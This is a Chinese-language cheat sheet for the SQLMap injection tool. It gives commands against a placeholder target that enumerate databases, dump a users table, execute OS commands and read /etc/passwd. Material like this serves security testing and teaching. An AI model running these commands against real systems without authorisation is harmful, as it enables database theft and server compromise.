SQLMap

SQLMap

SQLMap 是一款自动化 SQL 注入工具,支持多种数据库和注入技术。

基础使用

基础 SQL 注入检测

sqlmap -u "https://target.com/page?id=1"

自动利用

sqlmap -u "https://target.com/page?id=1" --batch

获取数据库

sqlmap -u "https://target.com/page?id=1" --dbs

获取表

sqlmap -u "https://target.com/page?id=1" -D database --tables

获取列

sqlmap -u "https://target.com/page?id=1" -D database -T users --columns

导出数据

sqlmap -u "https://target.com/page?id=1" -D database -T users --dump

常用参数

参数 描述
-u 目标 URL
–data POST 数据
–cookie Cookie
–headers 自定义头
–dbs 枚举数据库
–tables 枚举表
–columns 枚举列
–dump 导出数据
–batch 自动模式
–level 测试级别
–risk 风险级别

注入技术

  • 布尔盲注 - Boolean-based blind
  • 时间盲注 - Time-based blind
  • 联合查询 - UNION query
  • 错误注入 - Error-based
  • 堆叠查询 - Stacked queries

功能特性

  • 自动检测 - 智能注入点识别
  • 多数据库 - MySQL、PostgreSQL、MSSQL、Oracle
  • 数据导出 - 完整数据提取
  • 文件读写 - 服务器文件操作
  • 命令执行 - 操作系统命令执行

使用示例

# POST 注入
sqlmap -u "https://target.com/login" --data "username=admin&password=test"

# Cookie 注入
sqlmap -u "https://target.com/page" --cookie "id=1"

# 指定数据库
sqlmap -u "https://target.com/page?id=1" -D mysql --tables

# 命令执行
sqlmap -u "https://target.com/page?id=1" --os-cmd="whoami"

# 文件读取
sqlmap -u "https://target.com/page?id=1" --file-read="/etc/passwd"

参考资源